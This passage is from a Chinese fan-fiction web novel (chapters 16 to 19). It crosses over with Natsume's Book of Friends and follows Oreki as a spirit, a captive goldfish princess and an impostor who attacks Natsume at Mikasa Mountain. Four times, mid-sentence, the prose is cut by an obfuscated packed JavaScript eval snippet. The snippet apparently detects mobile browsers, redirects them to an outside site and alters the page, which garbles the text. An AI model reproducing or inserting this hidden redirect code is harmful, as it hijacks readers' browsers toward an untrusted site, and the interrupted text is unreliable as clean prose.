“折木”抬起手，手持着弓弦，对准这些已经毫无存在意义的“幽灵”。 最后，他问了一个来自他心中一直猜测的疑问。 “珊瑚岛的继承者历来从双子姐妹中挑选，你身上有独属于那里的气息，但使用的力量却是极致的怨力，与正统继承下来的神力南辕北辙。” “折木”冷声道：“你不会为了占据神主这个位置，杀掉了你的孪生姐妹吧？” 那声音听到这个问题，并没有正面回答，只是笑道：“大人可以猜猜看呐，不过您也知道我们一族是通过啃食自己同胞的血肉来增长力量的，只有这样我们才能被你们神明相中，不是吗？” 她讲出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266246|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一句意料之外的话，让“折木”的心猛然被触动了。 “真是无聊。”“折木”眼神微冷，拉开弓弦，噗嗤一声，对面的幽灵化为气泡消失了。 包围的幽灵逐渐往他这边靠了过来，接着，它们都被“折木”飞快地处理掉，周围的画面甚至变成一道道残影，完全不需要手下留情，空气伴随着气泡破裂的响动，让原本一直飘散的花香，被一股浓厚的海水味道浸染。 解决完之后，“折木”想趁机截胡那位“公主”的轿撵。 可他刚要行动起来，妖艳的眼眸倏然黯淡了下去，原本漂浮在空中的灵体犹如断了线的风筝坠入地面。 在尘埃落定时，不知从哪冒出的白色云雾迅速在折木身下聚集，它们远看像云朵，将晕过去的折木轻轻捧起。 “真是吓我一跳。” 本该不知所踪的鼠僧走到折木旁坐下，它喃喃自语道，“还好让目渺提前在这边待命，否则我的使命也没法交代了。” 它看向昏睡的少年，眼神相当复杂。 “神明的眼睛就在你的体内……”它将那两位的对话听得清清楚楚，的确透过折木的身体看到了某些东西，最后，忍不住讲出之前对折木说过的话。 “真不知道是幸运，还是不幸。” …… “可恶！” 睁开眼睛的纸月忿忿不平道。 明明把握住机会，应该先利用附身将折木带过来才对，为什么会忍不住多此一举！ 折木在挣脱幽灵的队伍后，纸月就感知到了他，但由于折木处于灵体状态，想要连接上真的废了她不少的神力。 在危机当头，她只能强行附身，将危险排除，优先保证折木的安全。 唯一的变数大概就是那位“公主大人”了。 实际上，她一开始不清楚对方究竟是什么东西，后来从对方口中透露的事情中，她大概猜测到一些她不愿去想的事情。 但是可以确认的只有一件事，就是那女人本身就是恶的存在，正在不顾一切地制造死亡。 纸月咬着指甲沉迷自己的思考，直到坐在他身旁的少年忍不住开了口：“纸月？” 他们身下是猫咪老师变回的原形，想要最快抵达三笠山，有这样速度型的大妖怪当坐骑是最好的。（猫咪老师：混蛋！） “啧……差一点就把人带回来了，不过那小子应该被其他妖怪所救，现在没什么大碍。” 夏目听到她的回答，眼中闪过一丝担忧和急躁，但很快压回心底。 “这些事情都和那位假冒的公主有关吗？” “啊，没错，现在可以完全确定了。”纸月越想越气，恨不得在当时就毫不废话地将那轿撵用箭贯穿。 “那家伙估计是杀了真的公主，顶替了珊瑚岛的神主，再将沿路抓走的妖怪变成幽灵……增强自己的力量。” 目地是三笠山，不，不对，应该是参与三笠山夜宴的神明们。 报复？还是弑神？ 这些理由已经无关紧要了，反正除了阻止对方，已经别无他法。 16. 第 16 章 花花色色的金鱼在水中游动。 它们困在一个巨大的湖心中央，每一天都会有一条金鱼死去。 当一条金鱼尸体从水中慢慢落下去后，周围的伙伴就会争相将它啃食殆尽，最后只剩一个小小的鱼骨。 不知是不是感知到了死亡。 两条小小的红色金鱼紧挨在一起，它们小心翼翼地躲过同类的攻击，也避开了来自池塘上方的注视，找了个机会一跃而起，跳到岸上，化成两个女孩，在落地的瞬间奔跑起来。 热气和雨水带来的湿气混在一起，赤脚踩在湿冷地面的感觉令人不快。 ——阿时！快！我们要跑快点！这样他们就不会找到我们！ ——姐姐，我们要去哪？ ——去人类的世界。 大脑混沌，折木发觉自己的视线渐渐与其中一人重合，彼此慌乱无措的呼吸声在他耳边响起。 那个时候她们在逃跑，为了她们能活下去，姐姐提出了要逃到人类的世界。 他的目光划过姐姐的侧脸，扫过她柔软的睫毛和头发，美丽又耀眼，就像色彩鲜明的太阳一样让人炫目。 过了很久，她们一路跑到了八原，每次停在一个地方，姐姐就会帮他整理衣襟，擦掉脸上的泥污，小声地安抚道，阿时，姐姐会把你打扮得干干净净的，这样其他人就会喜欢你了。 可是姐姐……你这个样子没关系吗? 没关系的。 可是…… 折木伸出手，想要触碰眼前几乎要被污秽变成恐怖模样的姐姐。 再这样下去，你会死的。 说完这句话，折木的听力和视力变得扭曲，眼中的世界只剩下黑白，而姐姐满是血污的脸上咧开了一个温柔的微笑。 没关系的。 那一瞬间，折木觉得自己的胸口像是全部浸在冰冷的黑暗深处般十分难受，那里面蕴藏的悲伤无处发泄。 “喂，小子！醒醒！别睡了！” “喂！听到没有！” 折木被人摇醒，他睁开眼，看到鼠僧一副阴郁得谁欠它几百万的表情，他的大脑显然还有些迷糊：“你怎么在这？” 鼠僧没好气地说：“我如果不在这，你早就死了。” 听到它的话，折木也想起了被纸月附身的经历，也是差一点就能得救了，哪想到他和纸月的联系又断了。 遭受接二连三的挫折，耗能不断的折木整个人也变得有气无力的。 “你刚刚似乎是做了噩梦，一直很不安分，不过这都不是重点。” 鼠僧站了起来，指了指自己，又指了指折木，“我们现在还是灵体状态，想要拿回身体，就必须找到真正的公主大人。” 折木没有动，只是淡淡地扫了他一眼，冷静地说道：“你是故意把自己卷进来的吧。” “什么都知道，又把自己装作是无辜者，听起来怎么都很可疑……”折木看着鼠僧的脸沉下来，接着道，“从一开始，我就不认为你会什么阴谋都没有。” “你竟然会说出如此忘恩负义的话，你也不想想是谁救了你，人类。”鼠僧感觉这小子快要察觉到什么，连忙硬着语气反驳起来。 “因为对你来说，我是一个意外之喜吧。” “不管是从你教我咒法，还是你看到我被神明附身的现场，你其实早就做好了逃脱的准备。”折木皱着眉说。 “你小子……是猜的吧？”鼠僧被戳中事实般竟后退了一步。 折木无视它惊讶的神情，继续道：“不过……还是谢谢你了。” “啊？” “就算你有什么阴谋，救了我这个事实是不会改变的。” 折木叹息，虽然他大致知道那个“阴谋”对鼠僧来说有多迫不得已，而且可能会变得很麻烦。 可如果不去做，自己就会永远地处于神隐之中，变成一个真正意义上的幽灵。 他回想着自己做的梦，又看向自己惨白又虚幻的手，月光穿了过去，渐渐变得透明起来。 而呆滞的鼠僧后知后觉才意识到自己被一个人类小子给全部看破，恼怒中又带着一丝敬佩，它撇过头，装作一副不计较的态度说：“你知道就好。” 既然把话说开了，鼠僧也不隐瞒，直接告诉折木，自己知道真正的公主被关押在什么地方。 它目前所有的行动和计划，皆是为了解救她。 两人大约走个五百公尺，从森林转变到一处老旧的厂房，因为还在施工的关系，所以到处都很杂乱，斑驳黄色的墙面上挂着某公司的宣传海报，因为这里漏风的关系，海报被吹啪嗒啪嗒地作响。 由于是灵体的关系，一人一妖完全不用在意被什么人看见。 鼠僧跳上一处屋顶，从这里能看得见远处的湖景，仿佛从地上看着月亮般那么的遥不可及。 “公主真的会被关押在这里吗？”折木不可思议道。 “能不被妖怪和神灵注意的地方，就只有充满人类的聚居地，而人类的地方，最容易滋生污秽和怨念……” 话音刚落，周围渐渐升起数道怨气，似乎是嗅到他们的存在，竟主动朝他们袭来。 鼠僧大声念咒，他的上方形成一道金光，压制住了怨气。 “拿好。” 鼠僧从怀里掏出什么递给折木。 折木接过一看，竟是一把透着荧光的短刀。 “这东西即便是灵体也能使用，只是会消耗灵力，别太依赖它。” 折木转动手里的短刀，下意识切开从他左侧偷袭的怨念，如此丝滑且不带犹豫的动作让折木内心惊骇。 他身手什么时候这么好了？ 这样的异常让折木愣住，难不成是被纸月附身后出现的后遗症吗？ 因为没法佐证，只能先按下不表，他紧跟着鼠僧，来到了工厂的水库。 他们直接穿了进去，折木听见一道小声的啜泣。 紧接着一双泫然欲泣的眼睛在刀辉的映射下，进入折木的视线。 “公主大人！”鼠僧连忙开口。 水声“哗”地响动，折木看到有什么东西向自己的方向游来。 那是无法形容的女孩，赭红如同艳阳的头发下，是一张倾城的脸，蓝色的瞳孔像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266247|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是静放在水中的蓝宝石，随着纤细的腰肢摆动，一片红光在腹间蜿蜒浮动，鱼尾红磷如波浪似般闪烁着。 在看到生人时，女孩狭长的眼骤然缩成一条线，虽然维持着惹人怜爱的表情，但看向折木的目光中带着几分警惕。 “我们是来救您出来的，那个可恶的女人顶了您的身份去了三笠山，想必会闹出大乱子，现在只有公主大人能够阻止了。” 听了鼠僧的话，公主脸上出现了不敢置信。 她想要开口说什么，可后颈传来的疼痛似乎在隐隐警告她，她再度露出悲伤的表情。 “她是不是不能说话？”折木望向鼠僧。 “哼，都是因为那个女人下的咒，不过现在没关系了，有你在，以我们两个人的力量足够将公主的束缚解开。” 鼠僧带着折木来到一处贴着符纸的地方。 “还是按照之前我教你做的就行。”鼠僧对折木道。 折木注意到跟着他们的公主在他们身后摇着头，大喊着什么，来不及细想，他就被鼠僧引导着着进行解除仪式。 水下一阵巨响，符纸上的文字消失后，水面开始翻腾起来，公主身上也开始散发着强烈的光芒。 就在折木看呆的瞬间，耳边传来鼠僧的大喊：“小心！” 身体就被飞速掠过的生物咬住，疼痛让折木张开了口，可水底下他根本发不出声音。 眼看折木要被带着一同朝水库深处砸去时，上方光芒乍现，公主将手中的光芒朝那东西甩了过去，咬住折木的生物瞬间变成了泡沫。 “唔……” 公主像是消耗了大量的妖力，在鼠僧的惊呼下，变成了不到十岁的孩童。 折木忍着肩膀的痛接住了坠落的她。 “刚刚那是什么？” “是怨灵集合体组合成的污秽。” 鼠僧注意到折木肩膀一大块近乎透明，大概是被那个污秽吃掉了。 它心情复杂异常，想说什么，最后还是没能开口。 “对不起……” 折木听见怀中女孩的呢喃，低下头，看见她眼中蓄满眼泪，正一颗一颗往下掉。 他感受到女孩不正常的温度，发现她的嘴唇很干，眼神恹恹，皮肤龟裂，像是体内的水分被榨干似的，原本漂亮的鱼尾也被萎缩得能看到骨架。 “是我害了你，如果不是为了我，就不会变成这样了……都怪我……” 自从她被束缚在这里时，为了让她不向外求救，那人封印住了她的声音，所以也无法提醒别人隐藏在这里的危险性。 她说话的同时，一双又圆又大的眼眸盈满了泪水。 对于她的道歉，折木摇了摇头，比起这个，还有更重要的事。 “你的姐姐正在做危险的事情，她在为了你，伤害其他人。” 折木开口道。 公主瞪大眼睛，眼泪凝固在眼眶里，因为惊讶而没有从脸颊上滑落。 折木没有说出自己做的梦，他只是将那些无法诉说的情感汇成了一句话。 “如果你想见她的话，我带你去找她。” 17. 第 17 章 从水库将公主解救出来后，鼠僧当即召唤出目渺，带着两人往三笠山赶去。 此时的折木相当疲惫，被污秽啃食掉的肩膀正慢慢变淡，有好几次他闭上眼陷入沉睡，又被鼠僧及时唤醒。 “小子，千万别睡过去。”鼠僧坐在他对面摇头，“你现在灵体太虚弱，一旦睡过去就很难坚持到三笠山。” 说完，它又不经意看向折木的胸口位置，蹙紧了眉。 它一直以为有神明的眼睛支撑着折木，就算只剩下灵体，也不会出什么事，但现在看来，反倒让折木灵体溃散得更加厉害。 这到底是为什么？ 鼠僧一脸沉思状。 而折木捏了捏眉心，听到对方的提醒，不带任何情绪地应了一声。 实际上，他已经快坚持不住了。 连疼痛都开始感受不到，这是否预示着自己的意识正在飘向虚无。 或许这边也是梦境，就这样睡下去，反而在另一个世界觉醒而画下句点。 当他这么想着，似乎有什么东西正不断被重新填回他的身体，一丝温暖姗姗来迟，折木精竭力将的大脑实在挤不出答案。 因为眼前一片昏沉。 他感觉身体很重，重到穿破云层，顺从地心的引力，朝着地面坠落。 事实上，他的灵体也已经从目渺身体坠了出去。 “啊……”公主率先发出一声惊呼。 鼠僧反应过来，连忙伸手去拉折木，可手指从对方的手臂上穿过后，它露出不可置信的表情。 遭了！ 这小子的灵体要崩溃了！ 倏然，公主从目渺身上跳了下去，她似乎下定了某种决心，化作了一团光芒快速没入了折木的身体中。 折木快要消散的意识因为这团温暖的光重新回来了，水流在体内牵引着灵力朝自己空缺的肩膀填补。 他感受到肩膀处突然的温热，睁开了眼睛，发现自己飘在空中。 当光团从他体内出来后，变成了一条被水泡包裹的金鱼，虚弱地落在他手心里。 “公主？” 金鱼朝折木吐了个泡泡，已无力回应他。 鼠僧将折木带回目渺，恨铁不成钢地看了折木一眼，又沉重地看向变回原形的公主。 “……公主大人竟然用最后的神力帮你修补了灵体，这下麻烦了。” “什么意思？” “就算到了三笠山，没有神力的公主是不会受到众神承认的。”鼠僧语气变得哀怨。 折木望着手心上的金鱼，问：“还有办法让她恢复神力吗？” 鼠僧沉默片刻，才吐露道：“三笠山有可以恢复神力的温泉……但我们连进去的资格都没有。” 但折木却在这点上否定了它：“不对，现在的状况正好适合我们进去。” 鼠僧先是疑惑，而后恍然大悟。 “原来如此，趁着那个女人大闹，我们偷偷溜进去吗……是不错的办法，那我们快走吧，希望还来得及！” 闻言，折木叹息一声，将手心的小金鱼好好护住。 这次无论如何也要赶上。 …… 风景在不断变化，进入三笠山后，夏目就明显感觉到这里的异常。 他感受到一种迷失在异世界的错觉，明明周围的生物鲜活得看不出真假，可夏目仍然觉得哪里透着古怪。 “这里设置了结界，你看到的都是障眼法。” 走在他身边的纸月淡淡道。 她似乎对这个地方有所了解，她轻而易举地摧毁结界，不带任何犹豫地朝着一个方向前进。 就在这时，夏目停下脚步，从线路的另一端传来让人不舒服的水声，紧接着，十几只幽灵从黑暗中鱼贯而出，他们举着发着冷光的灯笼，朝着夏目等人袭来。 “无聊。” 纸月在一瞬之间贯穿它们的身体，那些薄的像纸的幽灵很快消散成了泡沫。 “又是这种伎俩。” 纸月怒意上涌，就在她继续往前踏出一步时，她的手臂触及到了一层透明的屏障，她下意识去打，那屏障不仅没有破坏掉，反而将她的力量给反弹了回去。 “这不是普通结界，和刚才比简直差了一个级别。”纸月喃喃道。 夏目抬手抚摸着看不见的屏障，总觉得很眼熟，好像在哪里见过。 “夏目，这是除妖人为了困住妖怪所使用的结界。”趴在他肩膀上的猫咪老师突然出声，它半眯着眼，继续道，“还记得吗，上次在的场那，他也是用这样的结界将妖怪们困住。” 确实，怪不得这么让他熟悉，夏目回想着那些不好的回忆，眉头皱得更紧。 难道有除妖人入侵这里？ 纸月听完他们的对话，露出不以为然的神色。 “没有媒介引导，人类是来不了这里的，我想应该是那个假冒的‘公主大人’和除妖人达成某种交易关系，才能在三笠山使用这种结界。” “但那些幽灵却能够穿过这个结界。”夏目没有忘记这些细节。 “哼，结界束缚的是□□，它们都只剩灵体了，当然能穿过结界。” 纸月思考片刻，决定冒险试试。 “小子，这个给你。” “什……” 纸月朝夏目丢了一个长棍一样东西，接到后才发现那是一卷画轴。 “我的本体就先交给你保管了，我先进去，你们就在外面看看有没有进去的其他入口。” 在夏目惊讶的注视之下，纸月脱离了现在的躯壳，恢复了夏目第一次遇见她的模样。 “喂喂，你就这么放心我们。” 猫咪老师对她擅自的举动也忍不住发话了。 就和夏目的友人帐是一个道理，纸月的本体和这幅古画已经建立了联系，一旦受到什么损伤和破坏，纸月也会受到不可逆的伤害，甚至危及到性命。 “那你还有别的办法进入这个结界？”纸月不耐烦地反问它。 见猫咪老师被噎到了，纸月收回视线，冲夏目说道：“我信任你，是因为我很欣赏你，就像你的外婆永远不知道知难而退，也会为了守护什么而继续前进。” “况且……如果我死了，你就再也见不到折木了。” 最后一句颇有些威胁的意味，夏目顿时被怔在原地，没等他询问，纸月就已经进入了结界中。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266248|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到折木…… 夏目完全不敢去细想这句话背后的含义，他深呼吸一口气，抓紧了画轴。 猫咪老师感受到他几分慌乱的情绪，开口道：“那家伙估计是骗你的，别放在心上。” “不管她有没有撒谎，我都会保护好这幅画。” 夏目摸了摸猫咪老师的头，“所以之后遇到危险的情况，我想请老师优先这幅画可以吗？” 猫咪老师炸毛了：“哈，我为什么要保护与你无关的东西……” “你放心老师，”夏目认真道，“我不会让自己身处险境的，但如果有什么万一，就只能拜托老师了。” “……夏目，你跟笨蛋简直没什么两样！” 夏目笑笑没说话。 他继续朝深处走，结界外的道路很昏暗，连天上的星光都显得相当微弱。 嗡—— 突然，他听到了声音。 在道路前方，传来了脚步声，毫无疑问是什么东西要出来了。 “喀啦。”脚步声突然在一瞬间接近这里。 夏目下意识护住手中的画，而猫咪老师反射迅速地亮起额头上的光，将对方震飞了出去。 袭击他的人手握着一柄长刀，刀身如月光璀璨，透着淡淡的寒气。 夏目夜视能力很好，他看清了对方的面容，红色的长发，绝美的容颜，奇怪样式的和服，以她为中心空气开始出现黑色的雾气，原本呈蓝色的瞳孔闪烁着猩红的光芒，就像满月时兽血沸腾的狼人。 “你身边居然还有这样的大妖啊，真是不可思议，还以为把那个半神引走，会让我轻松一点。” 女人脸上的笑容却又透着一股令人不适的残忍。 时间仿佛凝固，夏目的目光在对方的微笑停留了一会儿，才说道：“你就是假冒公主的那个人吧？” 他话音刚落，对方的表情扭曲带着疯狂：“啊呀，真遗憾，居然猜中了。” 力压着刀锋袭来，朝着夏目抱着的画轴砍去，猫咪老师变回原形，一口咬住刀尖将人甩飞后，它用尾巴将夏目卷到背上，朝着另一个方向狂奔。 “那女人不对劲，她身上有太多怨念了，不能在这和她耗太久！” 而这时，女人那癫狂的笑声不知从何处传来。 声音在空气中震动，头顶的树叶掉了不少下来，连夏目都忍不住捂住了耳朵。 “人类，我好像见过你。” 那女人继续发出声音。 “我想想……好像在某段时间，某个地方，我为了获得力量，和某个人打了赌。” “对方是个人类，一个胆大包天的人类……她说要和我比赛。” 一道亮光擦着斑的皮毛而过，只是一刹那，那个位置就撕裂出一条伤口。 斑闷哼一声，但它还是忍着疼痛在空中跳跃数段躲避身后的攻击。 “老师！” 夏目忍不住喊道，但下一刻，女人的声音来到他耳边。 “如果我赢了，她就任我处置。” “如果我输了，我就要把名字交给她……” “想想当时那个比赛，还真是让人愉快。” “你说对吧？” 18. 第 18 章 “夏目玲子。” 她唤出了记忆中那个人真正的名字。 同时又举刀发起攻势，一瞬之间，攻击交锋。 夏目躲不过去，只能下意识保护手中的画轴。 他头顶上方发出了金属碰撞的声音。 接住女人攻势的是纸月，她单手握住女人的刀身， 纸月的神力和从刀身上散发的怨念在相互角力，互不相让。 “怎么就出来了？” “不喜欢妾身为您准备的惊喜吗？” 女人微微一笑，不知为何，她脸上的扭曲的笑容也明快了许多。 “滚开！”纸月毫不废话，她一甩飞袖，将女人从斑身上轰开，趁着拉开距离，她再次拉弓搭箭，神力裹挟着气流化作箭矢冲向了女人。 女人见状，丝毫不慌地举刀一挥，用怨气消抵了灵力的大部分冲击。 下一瞬间，她感受到左侧方来自纸月的气息，她转动手中的长刀，动作宛如熟练的樵夫挥动斧子一样，气势仿佛连大树都能砍成两半。 “就是现在。” 抓到动作的破绽，纸月大喊一声，斑一个转身朝着女人扑杀过来。 但女人还是灵敏地躲了过去，并凭借着绝妙的步法拉开了距离。 “真是遗憾，原本想多陪你们玩玩的。” 女人握着的刀，用比之前还快的速度挥下来，她的周围出现无数喷涌的怨气朝他们涌去，在对方退后几步阻挡防御时，她果断朝结界的位置跑去。 “想跑？” 纸月反射般地再次举箭射击，却射空了。 而这时，女人的笑声不知从何处传来。 “那些神明也快来了，希望他们会喜欢妾身为他们准备的见面礼。” 明明面对如此敌视她的纸月，女人依然开心地发出声音。 纸月想要追过去，但夏目还在这，而且斑还受伤了，实在不能再继续冒险了。 想到自己进去结界后看到的场景，纸月只觉得烦躁和压抑。 她走到夏目身边，此时的斑已经缩变回猫咪老师的形态，伤口处由于被污秽污染，一时间动用不出妖力。 夏目抱起猫咪老师，露出担忧的表情。 “这样子恐怕不能再单打独斗了。” 纸月拿回画轴，回到自己的躯体里。 “结界里面被那个女人用怨气彻底污染了，就像她说的，她为参加夜宴的神明准备了见面礼，只要搁置的结界消失，神明一来，就都会受到怨气的影响……呵，怪不得她会和除妖人达成交易。” 见夏目露出不懂的表情，她示意夏目边走边说。 “除妖人所使用的式是阴阳术的最基础的咒法，它简化并中和过程和结果，与人类或物品产生某种因果关系后，就会置换既定的结果。” 纸月说得很快，防止夏目听不明白，便举了个例子，“比如下雨时，有人会在屋檐下挂晴天娃娃，然后隔天雨就会停，虽然对于不信神佛的人来说，这只是偶然发生的结果，但有的人却会认为这是因为晴天娃娃的缘故才会放晴，这便是一个因果关系，当人们把这个存在理念赋予晴天娃娃那一刻时，这就是式。” “这听起来有点诡辩。”夏目试着去理解道。 “但这就是式存在的概念，世间各物的名字和存在的意义都是由人类擅自决定的，意义本身与被赋予意义并不是固定的。” 纸月的的声音在保持移动的时候依旧保持平稳，这让夏目听得觉得很有意思，如果不是现在的情况不允许，他还真想和纸月继续深入这个话题。 “也就是说，用怨气污染三笠山只是她形成这个式的必要的过程，为的就是把这里转变成污染神明的刑场。”夏目跟着她的思路总结道。 “没错。”纸月对夏目的理解力有了些惊讶。 “所以她所做的一切，都是为了用怨气污染神明吗？”夏目有些不能理解这样的动机。 “呵，都用除妖人的式做到这种地步了，还有什么不可能的，”纸月交抱着双臂，目睹着渐渐消散的结界，嘲讽中带有一丝不悦，“污染算是轻的了，要是弑神可就没那么简单了。” 如果折木没有被神隐的话，纸月说不定就会放任那女人的所作所为，任由对方对神明展开报复。 毕竟纸月也曾做出过相同的举动，虽事与愿违，但能在这个时代见到同自己一样敢反抗神明的人，光这一点，就足以令她惺惺相惜。 可惜对方不知好歹，窥探不属于自己的东西，也别怪她翻脸不认人了。 纸月这么想着，忽然见夏目一脸沉思。 “喂，你在想什么？” “我在想外婆。” “哈？” 夏目将手搭在自己随身携带的腰包里，缓缓道：“那个人曾和我的外婆夏目玲子打过赌。” “豁！”纸月露出饶有兴趣的表情，竟然还有这样的事，她非常肯定道，“那一定是玲子赢了吧。” 诶，这么肯定？ 夏目愣了愣，只听她用异常怀念的语气徐徐开口：“玲子是我见过最强大的人类，无论是身怀的妖力还是坚韧的内心，都有着让人着迷的魅力，若是我当初遇到的不是行舟，而是她的话，我大概早就把名字交给她了。” 纸月忽然想到什么，道：“如果玲子打败了那个女人，那名字也会收在友人帐之中吧。” 夏目明白她的意思，他的外婆靠着不断对妖怪发起挑战收服它们的名字，才诞生了这本友人帐。 只要拥有友人帐，就能依靠契约向妖怪发号施令，甚至可以决定它们的生死。 但夏目从未这么做过。 “那么只要找到她的名字，就能阻止她了。”纸月没注意到夏目为难的表情，对他表露出期待，“正好让我见识下友人帐的力量。” 夏目：“……” 他摇了摇头：“我暂时不想这么做。” “哈！为什么？！”纸月叉腰怒道，“你知不知道现在是什么危机情况？” “如果万不得已我一定会使用友人帐的，但纸月你应该还有其他办法吧？”夏目迎着她的目光，完全不惧纸月的神色。 纸月顿时露出不痛快的表情，沉默没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266249|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持续很长，她撇过脸叹息道：“即使是我，也很不想自讨麻烦，明明已经有了更简单更快速的捷径。” 她瞥了一眼夏目的腰包，最终妥协：“三笠山的后山有一池泉水，一直为这座山提供源源不断的灵气，如果能引泉水到这的话，就可以进化污秽。” “不过之后的事，我们先到了那里再说。” …… 折木刚到三笠山，就感觉寒意逼人。 “那片森林是被污染了，一定是那个女人做的……” 鼠僧看到远处黑雾缭绕的奇景，心里很不是不甘。 但再不甘，他们也只能去做他们该做的事。 而折木注意到手中的水泡已经小得包不住公主的轮廓了。 他忍不住催促道：“还没到吗？” “这里被设置了结界，已经把原来的路给扰乱了。” 鼠僧咬着牙，尝试用咒法解除结界，可惜没什么作用。 就在他快要陷入无计可施的漩涡，折木突然用手指了某个方向：“我们从那条路上去。” 不等鼠僧反应，他朝着那方向开始前进。 鼠僧：“你怎么知道？” 折木不确定道：“嗯……应该是直觉。” 他确实无法说明那种感觉，自从变成暂时性幽灵后，他就一直有种奇妙的心境，不安、茫然，还有一丝解放感，各种感觉交织在一起，思考无法集中到一个方向。 但靠近三笠山，他却清晰地感知到了灵力的流动，仿佛眼中的世界出现好几条路径，黑色的通往怨气横生的森林，而白色的通往的应该就是聚集灵力的地方。 很快，折木带着鼠僧果然走在了正确的道路上，不远处就是一片温泉。 “太好了，这样就能让公主恢复力量了。”鼠僧一脸惊喜。 折木看了看四周没什么人出没，便走到一处温泉口，将奄奄一息的公主放了进去。 结果，公主突然在里面翻着肚皮沉了下去，吓得折木面部一紧，伸手想把公主捞上来。 “咕噜咕噜咕噜……” 在手指没入水中时，公主又翻过身游动了起来，还对着自己吐了好几个泡泡。 折木：“……”这是在干什么，在逗他玩吗？ 公主欢快地吸收着水中的灵力，一会儿从水中跳出来，一会儿故意用尾巴拍打水面，甩了折木一脸水。 折木：“……” “公主变成原形后，意识就会变得和小孩子一样。” 鼠僧走了过来，有些怜爱地望着公主。 “那要什么时候才会变回原来的样子？”折木面无表情地将脸上的水擦掉。 “快了。” 两人蹲在水池边有些忘我，完全没意识到身后渐渐逼近的秽物。 折木猛地感受到背后传来一股恶寒，余光瞥见的景象让他骇然，他反射性推开身边的鼠僧，而自己一头摔进了温泉里。 他大概没想到，明明清澈可见到池底的温泉，在掉进去后会是如此深邃的深度。 在窒息感将他彻底包围之前，一只手抓住了他。 19. 第 19 章 折木被拉出温泉时，从后背感受到了一股推力。 在呼吸到新鲜空气前，他的视线开始变得忽明忽暗，身体的温度从脚底、手腕不断地流逝，等他感受到谁扶着自己时，一股暖流流入体内，身体无意识亲近对方，他的意识才逐渐开始苏醒。 折木睁开眼，抬眼一看居然是夏目。 “总算是找到你了。” 夏目终于放下心来，在看到折木落入温泉时，惊慌和恐惧的情绪有那么一刻占满了他的大脑。 好在对方好好地在面前，而袭击折木他们的那只秽物被纸月一击击杀，一切都在往好的发展。 至少，就目前来说。 折木歪着头，将温泉咽进的水咳了出来，他逆着光看到纸月走到自己面前。 纸月蹲下身用指尖拂过他的胸口，面露惊讶：“怎么会变成这样？” 什么变成什么样？ 折木脑袋还是有些昏沉，口干舌燥，开不了口，是夏目代替他问出心里的疑问。 “纸月，折木怎么了？” 纸月并没有回答，她伸出手按住折木的胸口，一阵白光自手掌亮起，等到光芒虚弱下去后，折木睁开眼，身体一直徘徊的虚无感已经消失不见，取而代之的，是他有了实体了，不再是“幽灵”状态。 “诶？”折木捂着胸口一脸愣怔，好似没料到会这么快恢复。 纸月看着折木身体里充盈的灵力，心情复杂万分。 不知道折木变成“幽灵”这段期间经历了什么，但这样的状况可不是一个正常人类所能承受的，那可是比看到妖怪还要麻烦的情况。 可这种事她敢和折木说吗？ 答案是：不能。 纸月咳嗽一声，试图转移话题：“现在可以解释一下你那边的状况了吧？” 折木见她一脸心虚的表情，觉得她肯定在瞒着他什么，但现在也没时间追究了。 他将鼠僧和公主的事透露给了夏目和纸月，两人当即陷入沉思。 “原来如此，不过就算是真正的公主大人估计也阻止不了她，那怨气将她彻底变成了污秽，如今只能彻底铲除掉了。”纸月摸了摸下巴，语气中不禁有些跃跃欲试。 “没有其他办法了吗？”夏目皱眉道，“至少应该要考虑公主的心情。” 就算变成污秽，那也是公主的姐姐。 “要是你早点用友人帐的力量来控制她，就没有那么多麻烦事了。”纸月对他的犹豫感到不满，还想说什么，池边传来清灵悦耳的女声打断了她。 “你们不用考虑我。” “既然我的姐姐已经变成了污秽，为了不牵扯三笠山无辜的生灵，我自然不能因为她是我的血亲就放任不管。” 众人回头一看，只见公主大人从温泉里浮出上半身，她靠着这里的灵气恢复了大量的神力，也变回了人鱼的状态。 她轻轻一跃，鱼尾变成双腿落回地面，白色的长服拖着身后。 